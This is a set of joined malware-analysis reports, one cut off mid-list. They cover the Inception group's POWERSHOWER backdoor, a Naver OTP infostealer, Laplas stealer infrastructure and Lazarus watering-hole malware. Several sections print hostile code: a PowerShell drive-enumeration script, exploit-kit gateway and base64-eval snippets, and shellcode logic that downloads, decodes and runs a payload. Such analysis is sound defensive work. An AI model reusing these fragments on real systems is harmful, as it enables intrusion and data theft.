meaning it should bypass static analysis techniques. 2. The attacker has the option to deploy malicious content to the victim based upon initial data received from the target, such as Microsoft Word version and the IP address of the target. 3. Once the attack is over, and the server hosting the remote template is down, it is difficult for researchers to analyze the attack as the remote content is unlikely to be available to them. When opened, the documents display decoy content and attempt to fetch a malicious remote payload via HTTP. The decoy content is usually copied from media reports, often with political themes in the target regions. Some examples of decoys observed include invites to international conferences and news articles on the current situation in Crimea. On most occasions, the remote server did not return a malicious template; however, we recently observed two cases where a malicious template containing two exploits was served. In both cases, the template contained exploits for both CVE-2012-1856 and CVE-2017-11882, which target vulnerabilities in Word disclosed and patched in 2012 and 2017 respectively. The payload for the exploits was VBScript in an OLE package object, which in turn decodes and executes POWERSHOWER, a simple PowerShell backdoor. ## POWERSHOWER – Malware that Cleans up After Itself Earlier, we mentioned that previous attacks were apparently delivered over two spear phishing emails, with the first only being used for reconnaissance. In the latest cases, we only observed a single document being sent to the targets, with reconnaissance, exploitation, and payload delivery happening on the first attempt. The dropped payload, POWERSHOWER, acts as an initial reconnaissance foothold and is almost certainly used to download and execute a secondary payload with a more complete set of features. By only using this simple backdoor to establish a foothold, the attacker can hold back their most sophisticated and complex malware for later stages, making them less likely to be detected. In a nutshell, POWERSHOWER allows the attacker to: - Fingerprint the machine and upload this information to the initial C&C. - Clean up a significant amount of forensic evidence from the dropper process. - Run a secondary payload if the attacker decides the target machine is sufficiently interesting. ### POWERSHOWER Analysis POWERSHOWER first checks if Microsoft Word is currently running. If it is, then the malware assumes it is the first run through of the malware and performs the following operations: 1. Writes itself to `%AppData%\Microsoft\Word\log.ps1`. 2. Sets up persistence for this file, using a run key. 3. Adds a registry key so that future powershell.exe instances are spawned off-screen by default. 4. Kills the Microsoft Word process. 5. Removes all files created during the dropper process, including evidence the original document was opened, the initial .VBS file, and all temporary files associated with the retrieval of the remote template. 6. Removes all registry entries that are left behind during the dropper process. 7. Collects system information on the infected machine and POSTS it to the C2. If Microsoft Word is not running, the malware enters its main communications loop, performing the following actions in sequence: 1. Collects system information and POSTs it to the C2. 2. Performs a GET request. 3. Based on the status code of the GET request, it will branch operations: - If the status code is not 200, the malware sleeps for a random amount of time between approximately 25 minutes and 35 minutes. - If the status code is 200, the malware expects the response to: - Begin with an “P”; in which case the malware writes the response to disk. - Begin with an “O”; in which case the malware assumes the response contains VBS code which is saved to disk, then executed. - If not beginning with either of these characters, it is assumed to be an XML file containing PowerShell expression, which is written to disk, read into memory, deleted, and then executed. The code behind the main C&C loop is shown in the document. Although the malware is simple, it’s fairly effective, giving the attacker options on how to run their next, more sophisticated payload. ## Conclusion The Inception attacks continue to mostly stay under the radar, which in part is down to the effort put in by the attackers to make their attacks harder to analyze. In the latest wave of attacks, they’ve done this through: - Use of remote templates, hindering analysis of historical attacks. - Anti-forensics techniques used during the dropper process to prevent clues as to how the malware was installed. - Use of the new basic POWERSHOWER backdoor as a first stage, making it harder for researchers to get copies of more sophisticated payloads used by the attackers. Palo Alto Networks customers are protected from this threat in the following ways: - Wildfire detects all current Inception remote template documents and the downloaded CVE-2017-11882 RTFs with malware verdicts. - Traps blocks all of the files we are aware of that are associated with this campaign. ## Indicators of Compromise **Remote Template Documents where we have the matching payload:** - 13de9678279b6ce6d81aeb32c0dd9f7458ad1f92aee17f3e052be9f06d473bed - d547773733abef19f2720d4def2356d62a532f64bcb002fb2b799e9ae39f805f **Remote templates analyzed:** - 687ee860fd5cd9902b441c26d72788d5a52052d03047a9b071808fc4c53a7e8b - 72eb022f395cc15bbe9582ee02f977ea0692932461a8b0bd608d9f0971125999 **PowerShower sample:** - 8aef4975d9c51821c4fa8ee1cbfe9c1f4a88c8784427d467ea99b2c1dabe15ae **Other related templates and exploit documents from 2018:** - 49dbcf1fc8d3381e495089f396727a959885c1dd2ab6cd202cf3c4dbd1d27c4f - 8b212ee2d65c4da033c39aebaf59cc51ade45f32f4d91d1daa0bd367889f934d - cc64a68ba52283f6cf5521cf75567b3c5b5143f324d37c59906ee63f1bbafcaf - 2bcb8a4ddc2150b25a44c292db870124c65687444f96e078f575da69bbf018e0 **Infrastructure:** - **First Seen:** 20th July 2018 | **IP:** 51.255.139[.]194 | **Context:** Remote template host - **First Seen:** 13th August 2018 | **IP:** 188.165.62[.]40 | **Context:** Remote template host - **First Seen:** 10th October 2018 | **IP:** 200.122.128[.]208 | **Context:** POWERSHOWER C2 - **First Seen:** 22nd October 2018 | **IP:** 108.170.52[.]158 | **Context:** Remote template host
# Info-Stealing Tool Posing As Naver OTP **Summary** SHA256: 3275f42c85c9e2fcb80d1f8c1c6227c2bcde9c0e719905ddbd2ca7373c6a8ec6 Filename: UpHelpers.exe Size: 3.41MB Extension: EXE Compilation Timestamp: 2022-01-05 23:41:20 UpHelpers.exe is an information-stealing/reconnaissance tool disguised as a Naver One Time Password (OTP) generator app. Naver is a South Korean web portal that first debuted in 1999 and offers a number of services. The tool collects drive and directory information on the victim system through PowerShell, as well as gathering system information using systeminfo.exe. The stolen system information is uploaded to a C&C server. ## High-Level Overview Upon execution, UpHelpers.exe drops three executables. The OTPGenerator.exe file is dropped into `~\AppData\Local\Temp`. AWastUI.exe and rdpclipe.exe are dropped into the created folder `~\AppData\Local\MICROS~1\Outlooka`. Shortcut files of the previous two files are dropped into the Startup folder to maintain persistence. The computer name, username, and local IP are written to a file named nlashine.ini. Upon execution, rdpclipe.exe ensures nlashine.ini is on the system, and if not, creates it. Additionally, the file contains the ability to log keystrokes and write what was captured to COMMA1UP_RKey.txt. The contents of the text file are written to a .dat file and retrieved by the C2. AWastUI.exe is responsible for collecting system data and communicating with the C2. After running the systeminfo command, the output is saved in a PDF file titled SysInfo_UP_day_hour_min. Next, a hardcoded PowerShell command enumerates the drives of the victim system. This information is also written in the PDF file mentioned above. ```powershell $dir = 'C:\Users\Admin\AppData\Local\MICROS~1\Outlooka\'; $gps = @('A','B','C','D','E','F','G','H','I','H','K','L','M','N','O','P','Q','R','S','T','U','V','W'); foreach ($gp in $gps) { $drv = $gp + ':\'; if([System.IO.Directory]::Exists($drv)) { $path = $dir + '\UP' + $gp; tree /f "$drv" | Out-File -Encoding default -FilePath $path -Width 5000; } } ``` As can be seen in the above code block, the tree command is used to collect the directory structure and folders within the C drive. ## Network Indicators The attacker infrastructure may have been taken down by the time I stumbled upon this sample as no useful network information was found. Running a strings tool of your choice does, however, provide a window into the threat actors’ infrastructure as well as URL paths to your blocklist. The following network information was found throughout all the associated files: - /ESOK/up2.php - /ESOK/post2.php - /ESOK/dwn.php?downfname= - /ESOK/del2.php?delfname= - Host: 66.94.98[.]48 - Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36 - Content-Disposition: form-data; name=”userfile”; filename=”%s” The above IP address belongs to ASN AS40021 – CONTABO, Contabo Inc., and has ports 80, 443, and 3389 open. ## Interesting Strings - E:\Coding_Smart\Smart_Attack_Code\Oracle_Spy\src\Release\UpHelpers.pdb - %sSysInfo_UP_%02d_%02d_%02d.pdf - nlashine.ini - /ESOK/up2.php - /ESOK/post2.php - dwn.dat - pc.dat - wanda_alpago613 - XJOIUUQ/EMM (possible obfuscated call to WINHTTPDLL) - LFSOFM43/EMM (possible obfuscated call to KERNEL32DLL) - OFUBQJ43/EMM (possible obfuscated call to NETAPI32DLL) ## Indicators **SHA256 Hashes:** - AWastUI.exe: 94306c7b1f1f1770e2ac2ba91bfd5f0d6e20b8878e6ad07253b50abccdd08c1d - nlashine.ini: 547e05c7cbf123aee2f7bd080719a1f8751faffc3e187b1ca72d1b9ce3301574 - rdpclipe.exe: 7c82652f7f9f10c9541140a10d4fecc847907bb43374c7f29f37f9a3a956ac3b - OTPGenerator.exe: 2b082c52b754a984efa39036aaa711d23ae2bdf830f0005b19568e97a73bf918 ## Conclusion Although Naver is widely used in South Korea, the group’s brand has grown to a global audience. The threat actor(s) is targeting data from specific individuals who would use this app. Possible groups targeted could range from customer data to individuals affiliated with the government/military. It is likely the threat actor would decide his/her next move based on the information collected and sent to the C2. I am unable to make a guess as to what follow-on infections there may be at this time. **References** Research by AhnLab ASEC: Infostealer Disguised as Well-Known Korean Web Portal File
# Identifying Laplas Infrastructure Using Shodan and Censys Quick identification of Laplas infrastructure by utilising Shodan and Censys. Various queries for locating potential Laplas Infrastructure are based on an IP found in a Laplas sample from Malware Bazaar. The full list can be found at the end of the post. **SHA256:** 825b0080782dee075f8aac11c3a682f86c5d3aa5462bd16be0ed511a181dd7ba Links to relevant existing research by OALABS and Chris Duggan. Chris in particular has some work that is very similar to this. Searching this IP in Shodan reveals a server that redirects to laplas.app. Searching laplas.app reveals 27 servers. Each server appears to be a redirector to the main Laplas site. Searching laplas.app in Censys reveals 22 servers, two of which were not in the original Shodan list. One result, 31.42.176.127, contains a reference to CN=Laplas.app. This result appears to be the primary server. Searching for the common name of laplas.app does not reveal additional infrastructure. Only the initial result of 31.42.176.127 was found. Of the 22 results with Censys, no other common names were available that could be used for pivoting. Only one Jarm hash was available. This was a common Jarm fingerprint with around 205K results and hence was not useful for pivoting. **Jarm fingerprint:** 15d3fd16d29d29d00042d43d000000fe02290512647416dcf0a4 00ccbc0b6b ## Complete List of Potential Laplas Stealer Infrastructure Complete list of IPs based on searches for laplas.app in both Shodan and Censys: - 31.42.176.127 - 37.220.87.60 - 45.81.243.208 - 45.159.188.109 - 45.159.188.158 - 45.159.189.33 - 45.159.189.105 - 65.109.140.234 - 78.153.130.208 - 79.137.195.205 - 79.137.199.252 - 80.85.241.66 - 85.192.40.252 - 85.192.41.87 - 89.23.97.128 - 89.185.85.79 - 95.214.27.252 - 104.193.254.40 - 104.193.255.50 - 163.123.142.220 - 176.113.115.25 - 185.106.92.104 - 185.174.137.94 - 185.209.161.89 - 185.213.208.247 - 185.223.93.251 - 193.188.23.86 - 195.133.75.43 - 212.113.106.172
# Lazarus’ False Flag Malware **Written by Sergei Shevchenko and Adrian Nish** ## BACKGROUND We continue to investigate the recent wave of attacks on banks using watering-holes on at least two financial regulator websites as well as others. Our initial analysis of malware disclosed in the BadCyber blog hinted at the involvement of the 'Lazarus' threat actor. Since the release of our report, more samples have come to light, most notably those described in the Polish language niebezpiecznik.pl blog on 7 February 2017. | MD5 hash | Filename | Compile Time | File Info | Submitted | |----------|----------|--------------|-----------|-----------| | 9216b29114fb6713ef228370cbfe4045 | srservice.chm | N/A | N/A | N/A | | 8e32fccd70cec634d13795bcb1da85ff | srservice.hlp | N/A | N/A | N/A | | e29fe3c181ac9ddbb242688b151f3310 | srservice.dll | 2016-10-22 | Win64 DLL | 2017-01-28 | | 9914075cc687bdc352ee136ac6579707 | fdsvc.exe | 2016-08-26 | Win64 EXE | 2017-02-05 | | 9cc6854bc5e217104734043c89dc4ff8 | fdsvc.dll | 2016-08-26 | Encrypted | 2017-02-05 | Of the hashes provided, only three samples could be found in public malware repositories. All three had been submitted from Poland in recent weeks. In the analysis section below, we examine these and the ‘false flag’ approach employed by the attackers in order to spoof the origin of the attack. The same ‘false flag’ approach was also found in the SWF-based exploit mentioned in our previous blog post: | MD5 hash | Filename | File Info | Submitted | |----------|----------|-----------|-----------| | 6dffcfa68433f886b2e88fd984b4995a | cambio.swf | Adobe Flash | 2016-12-07 23:15 | Here we’ll analyze these files as well as shed further light on the watering-hole exploit kit code itself, in the hope this aids further detection and network defense. ## ANALYSIS ### Sample #1 – srservice.chm Most likely, this file is an encrypted backdoor that is decrypted and injected by DLL loader. The filename srservice.chm is consistent with the method in which a known Lazarus toolkit module constructs CHM and HLP file names: - `%SYSTEMROOT%\Help\%MODULE_NAME%.chm` - `%SYSTEMROOT%\Help\%MODULE_NAME%.hlp` ### Sample #2 – srservice.hlp Most likely, this file is an encrypted configuration file, which is decrypted and loaded by sample #1 (srservice.chm). ### Sample #3 – srservice.dll This DLL loads, decrypts, and injects the 'CHM' file into the system lsass.exe process. ### Sample #4 – fdsvc.exe This file is a command line tool that accepts several parameters such as encrypted file name and process ID. The tool reads and decrypts the specified file, and then injects it into the specified process or into the system process explorer.exe. The encryption consists of a running XOR, followed with RC4, using the 32-byte RC4 key below: ``` A6 EB 96 00 61 B2 E2 EF 0D CB E8 C4 5A F1 66 9C A4 80 CD 9A F1 2F 46 25 2F DB 16 26 4B C4 3F 3C ``` ### Sample #5 – fdsvc.dll The file fdsvc.dll is an encrypted file, successfully decrypted into a valid DLL (MD5: 889e320cf66520485e1a0475107d7419) by the aforementioned executable fdsvc.exe. Once decrypted, it represents itself as a bot that accepts the C&C name and port number(s) as a string parameter that is used to call the DLL. The parameter is encoded with an XOR loop that includes XOR key cEzQfoPw. Multiple C&C servers can be delimited with the '|' character and port numbers are delimited from the C&C servers with the ':' character. Once the bot has established communication with the remote C&C, it uses several transliterated Russian words to either indicate the state of its communication or issue backdoor commands, such as: | Word | State/Backdoor Command | |------|------------------------| | "Nachalo" | start communication session | | "ustanavlivat" | handshake state | | "poluchit" | receive data | | "pereslat" | send data | | "derzhat" | maintain communication session | | "vykhodit" | exit communication session | The binary protocol is custom. For example, during the "ustanavlivat" (handshake) mode, the bot accepts 4 bytes, which are then decrypted. The decryption is a loop that involves multiple XOR operations performed over the received data. Once decrypted, the 4 bytes indicate the size of the next data chunk to be received. The next received data chunk is also decrypted, and its contents checked to see whether it's one of the backdoor commands. For example, the "poluchit" command instructs the bot to receive the file, and the "pereslat" (send) command instructs the bot to upload the file. The received "poluchit" command may also contain a URL, marked with another transliterated Russian word "ssylka" (link). In this case, the remote file is fetched in a separate thread. If a received data chunk contains the command "vykhodit", the bot quits its backdoor loop. The bot implements the SSL/TLS protocol and is based on a source code of "Curl v7.49.1". Hence, it is able to transfer files via HTTP, HTTPS, FTP, SMTP, and many other protocols, with full support of user/password authentication (Basic, Digest, NTLM, Negotiate, Kerberos), proxies, and SSL certificates. ### Russian language used in fdsvc.dll In spite of some 'Russian' words being used, it is evident that the malware author is not a native Russian speaker. Of our previous examples, five of the commands were likely produced by an online translation. Below we provide the examples and the correct analogues for reference: | Word | Type of error | Correct analogue | |------|---------------|------------------| | "ustanavlivat" | omitted sign at the end, verb tense error | "ustanovit'" or "ustanoviti" | | "poluchit" | omitted sign at the end | "poluchit'" or "poluchiti" | | "pereslat" | omitted sign at the end | "pereslat'" or "pereslati" | | "derzhat" | omitted sign at the end | "derzhat'" or "derzhati" | | "vykhodit" | omitted sign at the end, verb tense error | "vyiti" | Another example is "kliyent2podklyuchit". This is most likely a result of an online translation of "client2connect" (which means 'client-to-connect'). In this case, the two words "client" and "connect" were translated separately, then transliterated from the Russian pronunciation form into the Latin alphabet and finally joined to produce "kliyent2podklyuchit". Such a result may look impressive to the bot's author, but would be difficult to understand for native Russian speakers. Here we provide an example of translating the word "client" in Russian - the word "kliyent" here only demonstrates phonetic pronunciation, not how it's actually written in a transliterated form. When formed using the Latin alphabet, it would actually be written "client" or "klient". Due to such inconsistencies, we conclude that the Russian language is likely used as a decoy tactic, in order to spoof the malware’s country of origin. ### Sample #6 – cambio.swf During the investigation of the watering-hole incident, the owner of a compromised website shared with us a malicious implant that was added into the site, presumably by using an exploit against JBoss 5.0.0. The script is called view_jsp.java and is accessed from the watering-hole website as view.jsp. This script is responsible for serving cambio.swf. The infection starts from a primary website being compromised so that its visitors are redirected into a secondary website, calling its view.jsp script from an added IFrame. The initial request contains parameter pagenum set to 1, such as: ``` GET /[PATH]/view.jsp?pagenum=1 HTTP/1.1 ``` This begins the profiling and filtering to identify potential victims. For example, the script then checks to see if the client's IP is black-listed. If so, such initial request is rejected. Next, the script checks if the client’s IP is white-listed (i.e. targeted). If not white-listed, it is also rejected. Hence, unless the visitor’s IP is on the attackers’ list, the script will not attempt to infect their machine. This helps the infected websites stay undetected for a relatively long period of time, as they only serve exploits to the selected targets. In the next stage of the script, it builds and serves back to the client an HTML page with an embedded JavaScript that detects the type of client’s browser (Internet Explorer, Google Chrome, Firefox, Safari, or Opera), OS version, and the loaded plugins, such as Adobe Flash and Microsoft Silverlight. The script executed on a client side then builds a form, and submits it back to the gateway script, as shown below: The submitted form specifies the pagenum parameter to be set to 2, to advance the script to the next step. Once the script accepts the incoming request and finds the form's pagenum value is 2, it reads other fields from the submitted form and decides which exploit to serve back to the client. At the time of writing, the exploit kit known to serve back two exploits, for Adobe Flash and Microsoft Silverlight, though these could be expanded upon as needed. The exploits can be individually enabled or disabled by the attackers with the standalone file config.dat. For example, to enable both exploits (flag= 1), the contents of this file can be set to: ``` 2016-0034:1 0000-0001:1 ``` where 2016-0034 identifies the Silverlight exploit, and 0000-0001 is the Flash exploit. If the script detects that the submitted form contains a non-empty version of Silverlight browser plugin, it will generate and serve back a Silverlight exploit. If the submitted form has a non-empty version of Adobe Flash browser plugin, the script will generate and serve back the Flash exploit. If the client has both plugins loaded within the browser, then the script will serve the Flash exploit only. NOTE: the script only serves the Flash exploit if the browser is Internet Explorer. The exploits are generated by the functions: - `genExp_20160034()` – to generate Silverlight exploit - `genExp_00000001()` – to generate Flash exploit The latter is explained in further detail below. First, the script builds URL string named as download_url: ``` 01 String PARAMNAME_UID = "uid"; 02 String PARAMNAME_PAGENUM = "pagenum"; 03 String PARAMNAME_EXPLOITID = "eid"; 04 String PARAMNAME_STATUS = "s"; 05 String PARAMNAME_DATA = "data"; 06 07 download_url = request.getRequestURL() 08 "?" + PARAMNAME_UID + "=" + uid + 09 "&" + PARAMNAME_PAGENUM + "=3" + 10 "&" + PARAMNAME_EXPLOITID + "=" + exploit.get("eid"); ``` For example, the URL string may look like: ``` http://[WEB_SITE]/view.jsp?uid=30304811&pagenum=3&eid=00000002&s=2&data= ``` Note that the pagenum parameter of the URL has now advanced to 3 (third step of the view.jsp execution). This URL string will be embedded by the `genExp_00000001()` function into the body of the shellcode. The output of the `genExp_00000001()` function is JavaScript that has the following format – this script will be executed inside the client's browser: ``` 01 var laskfji = 'PGh0bWw+..'; // long string here 02 asdlfkj = function(s) { 03 // base64-decode string s 04 }; 05 var polkio = asdlfkj(laskfji); 06 var poikea = 'document.write(polkio);'; 07 eval(poikea); ``` Once the string s is base64-decoded by client-based JavaScript, it will look like a Flash object embedded into HTML: ``` 01 <html> 02 <body> 03 <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" 04 codebase= "http://download.macromedia.com/.../swflash.cab" 05 width="1" 06 height= "1"> 07 <param name="movie" value="include/cambio.swf" /> 08 <param name="allowScriptAccess" value="always" /> 09 <param name="FlashVars" 10 value="shell=558BEC83...00&Health=polki89jdm#ks@" /> 11 <param name="Play" value="true" /> 12 <embed type="application/x-shockwave-flash" 13 width="1" 14 height= "1" 15 src= "include/cambio.swf" 16 allowScriptAccess="always" 17 FlashVars="shell=558BEC83...00&Health=polki89jdm#ks@" 18 Play="true"/> 19 </object> 20 </body> 21 </html> ``` As seen in the Flash object parameters, the SWF object is served from the website’s path: `include/cambio.swf`. However, the SWF object is also accompanied with 2 extra parameters: - **SWF Parameter**: "shell" | **Value**: 558BEC83EC388D45C8C745F... - **SWF Parameter**: "Health" | **Value**: polki89jdm#ks@ By looking into the decompiled cambio.swf file, its ActionScript reveals that the SWF file indeed expects 2 parameters: Health and shell. The value of Health is used as an XOR key to decode the binary blob orinBin, which is included in the SWF file. This blob is then loaded with loadBytes(), as shown below: ``` 01 objLoader = new Loader(); 02 this.params = loaderInfo.parameters; 03 ... 04 var key:String = params["Health"] as String; 05 var pShell:String = params["shell"] as String; 06 var objShellData:SharedObject = SharedObject.getLocal("Exp_Data"); 07 objShellData.clear(); 08 objShellData.data.shell = pShell; 09 objShellData.flush(); 10 var blob:ByteArray = new orinBin() as ByteArray; 11 var i:int = 0; 12 while(i < blob.length) { 13 blob[i] = blob[i] ^ key.charCodeAt(i % key.length); 14 i++; 15 } 16 blob.position = 0; 17 objLoader.contentLoaderInfo.addEventListener("complete",fncomp); 18 objLoader.loadBytes(blob); ``` Below is the binary blob orinBin as seen within the SWF file: By knowing the value of Health parameter, it is now possible to use it as an XOR key to decode the orinBin blob within the SWF code. Once decrypted, the orinBin blob presents another SWF file. This time, it contains 3 encrypted blobs within: bin22, bin23, and bin24 seen below: The code decrypts the blobs with RC4, using "littleEndian" as the RC4 key. These blobs also turn out to be SWF files that contain the SWF exploit code. Internally, the ActionScript also uses transliterated Russian words, similar to the tactic seen in the bot code: | Transliterated Russian words used in AS | Translated from Russian | |------------------------------------------|-------------------------| | Podgotovkaskotiny | Preparation of farm animals | | geigeigei3raza | Hey, hey, hey 3 times | | chainik | Dummy (a stupid person) | | chainikaddress | Dummy's address | | poishemdatu | Let’s search for data | | poiskvpro | Searching in 'pro' | | vyzov_chainika | Calling the dummy (a stupid person) | | daiadreschainika | Get address of the dummy | | runskotina | Execute farm animals | | babaLEna | Old woman Lena | As seen in the table, while the words are technically Russian, their usage is out-of-context. In one code fragment, the ActionScript contains both "chainik" and "dummy": ``` 01 private function put_dummy_args(param1:*): * 02 { 03 return chainik.call.apply(null,param1); 04 } 05 private function vyzov_chainika(): * 06 { 07 return chainik.call(null); 08 } ``` As such, it is obvious that the word "dummy" has been translated into "chainik". However, the word "chainik" in Russian slang (with the literal meaning of "a kettle") is used to describe an unsophisticated person, a newbie; while, the word "dummy" in the exploit code is used to mean a "placeholder" or an "empty" data structure/argument. In the same way, it is likely the word "farm animals" was originally used to represent "a beast". Yet, it has been translated into a word that is only synonymous to "the beast" in a certain context. As a result, they have used the words "farm animals" across the shellcode instead of "beast"; which makes little sense. As in the case of sample #5 (fdsvc.dll), it is likely that this loose Russian translation, evidently performed by a non-Russian speaker, is intended to spoof the malware origin. ### Shellcode The SWF's ActionScript then loads and executes the shellcode that was passed to the SWF file. As with the Health parameter, by having access to the server-side code it is now possible to analyze what shellcode has been served to be executed via SWF file. The shellcode consists of 2,372 bytes of Win32-code (in fact, 2,369 bytes padded with three zero bytes to make it 4-byte aligned). The shellcode passed via the shell parameter consists of two parts: - The first part of the shellcode (818 bytes) creates a hidden process of notepad.exe. It then injects the second part of the shellcode into it using the VirtualAlloc() and WriteProcessMemory() APIs, and finally it runs the injected code with CreateRemoteThread() API. - The second part of the shellcode (1,551 bytes) is encoded with XOR 0x57: ``` seg000:00000316 mov ecx, 1551 ; counter seg000:0000031B mov ebx, 57h ; XOR key seg000:00000320 loop : seg000:00000320 xor [eax], ebx seg000:00000322 dec ecx ; decrement counter seg000:00000323 inc eax ; advance pointer seg000:00000324 test ecx, ecx seg000:00000326 jnz short loop ``` It's worth noting that both parts of the shellcode load the APIs similarly to all other tools from the Lazarus toolset, e.g.: ``` 01 urlmon_dll = 'mlrU'; // Urlm 02 urlmon_dll_4 = 'd.no'; // on.d 03 urlmon_dll_8 = 'll'; // ll 04 URLDownloadToFileW = 'DLRU'; // URLD 05 URLDownloadToFileW_4 = 'lnwo'; // ownl 06 URLDownloadToFileW_8 = 'Tdao'; // oadT 07 URLDownloadToFileW_12 = 'liFo'; // oFile 08 URLDownloadToFileW_16 = 'We'; // eW 09 hLib = LoadLibrary(&urlmon.dll); 10 ptr[8] = (*(int)ptr[4])(hLib, // ptr[4]->GetProcAddress 11 &URLDownloadToFileW); ``` Once decoded, the second part of the shellcode reads the URL embedded at the end, then downloads and saves a file under a temporary file name, using the prefix "tmp". Next, it reads the temporary file into memory, decrypts it with the following XOR loop, starting from the 318th byte: ``` 01 for (i = 317; i < file_size; ++i) { 02 buffer[i] ^= 0xCC ^ ((buffer[i] ^ 0xCC) >> 4); 03 } ``` Next, it makes the decoded data executable by assigning it PAGE_EXECUTE_READWRITE memory protection mode, and calls it, as shown below: ``` 01 (*(void *)(ptr[68]))(buffer + 318, // ptr[68]->VirtualProtect 02 file_size - 318, // skip the first 318 bytes 03 PAGE_EXECUTE_READWRITE, 04 &oldProtect); 05 (( void (*)(void))(buffer + 318))(); // CALL from the 318th byte ``` This way, the 2nd part of the shellcode downloads a binary from the same gateway script as before. pagenum=3 means it's a 3rd step – a step of serving the next chunk of the shellcode. To understand the next step we need to go back to the gateway script to see how it processes the pagenum=3 request. When the script receives a pagenum=3 request, it checks the 's' URL parameter ('status'). Initially, this parameter is set to 2 ('s=2', as seen in the aforementioned URL embedded into the SWF exploit). Thus, the script will read and output the contents of 2 files stored on the web server: - files/mark180789172360.ico - files/back283671047171.dat The first file is likely a valid ICO file, is 318 bytes in size, and its contents are not encoded (hence the reason why the shellcode skips the first 318 bytes, and only decodes the rest). The second file is a 3rd chunk of the shellcode, and its contents are encoded. In addition to these 2 files, the output is appended with a URL. This time, it will specify pagenum parameter set to 3, but the status parameter s will now be set to 3. For example, the URL may look like: ``` http://[WEB_SITE]/view.jsp?uid=30304811&pagenum=3&s=3 ``` The appended URL will then be encoded the same way as the file back283671047171.dat: ``` 01 for (int i = 0; i < len + 9; i++) { 02 byte var = b[i]; 03 byte temp = (byte)((var >> 4) & 0x0F); 04 var = (byte)(var ^ temp); 05 var = (byte)(var ^ 0xCC); 06 b[i] = var; 07 } ``` This way, the encoded URL becomes an integral part of the 3rd part of the shellcode – same way as the 2nd part of the shellcode was appended with a URL. Following that, the script serves back a blob that consists of three parts: - files/mark180789172360.ico, not encoded (318 bytes) - files/back283671047171.dat, encoded - download URL, encoded It is served back as a binary file, disguised as an icon file probg[RANDOM].ico, probably in an attempt to bypass network sniffers (in other words, the encrypted shellcode is served appended to a valid icon file): ``` response.setHeader("Accept-Ranges", "bytes"); response.setHeader("Content-Length", String.format("%d", response_len)); response.setHeader("Content-Disposition", "attachment;filename=\"probg" + rand.nextInt(9000) + 10000 + ".ico\""); response.setHeader("Content-Type", "application/octet-stream"); ``` Once this 3rd part of the shellcode is served back to the shellcode that runs on a client side, it will skip the first 318 bytes, decode the rest and execute it. This will invoke another binary download – this time identified with the status value of 3 ('s=3'). The new binary is generated by view.jsp script and is almost identical to the 3rd part of the shellcode. The only difference is that the binary blob consists of these files: - files/mark180789172360.ico, not encoded (318 bytes), as before - files/meml102783047891.dat, encoded The 2nd file is now different, and the URL is no longer appended. The reason why the new binary does not need the URL embedded may be that this binary contains an actual malicious executable, detached, decoded, and executed by the shellcode, thus leading to a full compromise of the victim. Indeed, as seen in the web log below, the last GET request with the pagenum=3 and s=3 parameters is served with a 123,710-byte response – large enough to accommodate a PE-executable: ``` "GET /[PATH]/view.jsp?pagenum=1 HTTP/1.1" 200 66148 "POST /[PATH]/view.jsp HTTP/1.1" 200 13991 "GET /[PATH]/view.jsp?uid=30304811&pagenum=3&eid=00000002&s=2&data=" 200 4642 "GET /[PATH]/view.jsp?uid=30304811&pagenum=3&s=3 HTTP/1.1" 200 123710 ``` NOTE: At the time of analysis, the ICO/DAT files were not available. Hence, their contents remain unknown. ## Overall Scheme The following scheme illustrates the steps outlined above: ## CONCLUSIONS Here we have analyzed further files from the recent watering-hole attacks directed at Polish financial institutions and others. Evidently, the Lazarus group are continuing their campaign targeting banking networks. Their watering-hole mechanism is fairly sophisticated – its multiple stages are designed to complicate analysis of its malware distribution, and at the same, stay undetected for as long as possible. Because of the previously disclosed attribution links, the group are also resorting to some trickery. Through reverse-engineering, we can see the use of many Russian words that have been translated incorrectly. In some cases, the inaccurate translations have transformed the meaning of the words entirely. This strongly implies that the authors of this attack are not native Russian speakers and, as such, the use of Russian words appears to be a 'false flag'. Clearly the group behind these attacks are evolving their modus operandi in terms of capabilities – but also it seems they’re attempting to mislead investigators who might jump to conclusions in terms of attribution. ## APPENDIX A: INDICATORS OF COMPROMISE **MD5 Hashes** - 9cc6854bc5e217104734043c89dc4ff8 - 9914075cc687bdc352ee136ac6579707 - e29fe3c181ac9ddbb242688b151f3310 - 9216b29114fb6713ef228370cbfe4045 - 8e32fccd70cec634d13795bcb1da85ff - 889e320cf66520485e1a0475107d7419 - 6dffcfa68433f886b2e88fd984b4995a **Filenames** - cambio.swf - cambio.xap - mark180789172360.ico - meml102783047891.dat - back283671047171.dat **URLs** - view.jsp?pagenum=1 - view.jsp?uid=
# SASFIS **Analysis by:** Dianne Lagrimas **Threat Type:** Trojan **Destructiveness:** No **Encrypted:** **In the wild:** Yes ## OVERVIEW **Infection Channel:** Spammed via email, Downloaded from the Internet Malware belonging to the SASFIS family is known to be downloaded on systems while visiting sites that have been compromised using a particular exploit pack known as "Eleonore". SASFIS variants are also being sent via spammed messages, such as the spoofed messages that purported to come from Facebook and iTunes Store. The said email messages have a .ZIP file attachment that contained TROJ_SASFIS.HN. It is also known to be associated with FAKEAV variants that are downloaded onto systems when visiting pornographic sites. Though viewed as a simple downloader, SASFIS opens affected systems to botnet attacks, particularly ZeuS and BREDOLAB. SASFIS has been spotted as early as 2009. Affected systems that may play part in botnet operations are susceptible to data theft and are difficult to clean up. Cybercriminals behind the SASFIS malware use pay-per-install (PPI) and pay-per-access (PPA) business models to earn money. **PPI business model:** Cybercriminals behind other malware families like ZeuS and BREDOLAB pay SASFIS creators for other malware to be downloaded and installed on systems that have been infected with SASFIS. **PPA business model:** SASFIS creators list a number of adult websites in the code of the components downloaded by SASFIS variants. When a SASFIS-infected system accesses any of these websites, it redirects to any of the listed adult websites. ## TECHNICAL DETAILS **Installation** This Trojan drops the following files: `%User Profile%\Local Settings\{random file name}.exe` (Note: %User Profile% is the current user's profile folder, which is usually C:\Windows\Profiles\{user name} on Windows 98 and ME, C:\WINNT\Profiles\{user name} on Windows NT, and C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003.) **Other System Modifications** This Trojan modifies the following registry entries: `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` `Shell = "Explorer.exe rundll32.exe {4 random letters}.{3 random letters} {6 random letters}]"` (Note: The default value data of the said registry entry is Explorer.exe.) It also creates the following registry entry(ies) as part of its installation routine: `HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security` `Level = "4"` 